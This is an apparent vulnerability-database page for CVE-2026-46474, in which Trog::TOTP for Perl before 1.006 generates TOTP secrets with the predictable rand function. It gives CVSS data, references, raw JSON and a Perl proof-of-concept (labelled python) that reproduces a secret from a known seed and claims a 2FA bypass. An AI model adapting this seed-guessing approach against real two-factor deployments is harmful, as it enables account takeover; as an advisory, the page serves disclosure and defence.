Security Vulnerability Report
中文
CVE-2026-46474 CVSS 7.5 HIGH

CVE-2026-46474

Published: 2026-05-15 18:16:26
Last Modified: 2026-05-18 17:40:45
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Trog::TOTP versions before 1.006 for Perl generate secrets using rand. Secrets were generated using Perl's built-in rand function, which is predictable and unsuitable for security usage.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Trog::TOTP < 1.006

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl # PoC for CVE-2026-46474: Predictable Secret Generation # This script demonstrates how an attacker can reproduce the secret # if the seed (e.g., process ID or time) is known or guessed. use strict; use warnings; # Simulate the vulnerable secret generation logic sub vulnerable_secret_gen { # Vulnerable code uses srand implicitly or explicitly with predictable values # srand(time() ^ $$); # Example of weak seeding my $secret_len = 20; my $secret = ""; for (1..$secret_len) { # rand() is predictable and not cryptographically secure $secret .= chr(int(rand(256))); } return unpack("H*", $secret); } # Attacker's simulation to reproduce the secret sub reproduce_secret { my ($seed) = @_; srand($seed); # Attacker sets the seed to what they think the server used my $secret_len = 20; my $secret = ""; for (1..$secret_len) { $secret .= chr(int(rand(256))); } return unpack("H*", $secret); } # Scenario: Server generates a secret at a specific time my $server_seed = time() ^ $$; # Hypothetical server seed srand($server_seed); my $actual_secret = vulnerable_secret_gen(); print "[+] Server Generated Secret: $actual_secret\n"; # Attacker guesses the seed (e.g., by knowing the approximate time of creation) # In a real attack, this might involve brute-forcing a small range of PIDs or timestamps my $guessed_seed = $server_seed; my $cracked_secret = reproduce_secret($guessed_seed); print "[+] Attacker Reproduced Secret: $cracked_secret\n"; if ($actual_secret eq $cracked_secret) { print "[SUCCESS] Secret prediction successful! 2FA can be bypassed.\n"; } else { print "[FAIL] Seed guess incorrect.\n"; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-46474", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-15T18:16:26.053", "lastModified": "2026-05-18T17:40:45.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Trog::TOTP versions before 1.006 for Perl generate secrets using rand.\n\nSecrets were generated using Perl's built-in rand function, which is predictable and unsuitable for security usage."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-331"}]}], "references": [{"url": "https://metacpan.org/release/TEODESIAN/Trog-TOTP-1.006/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/TEODESIAN/Trog-TOTP-1.006/diff/TEODESIAN/Trog-TOTP-1.005#lib/Trog/TOTP.pm", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/15/18", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}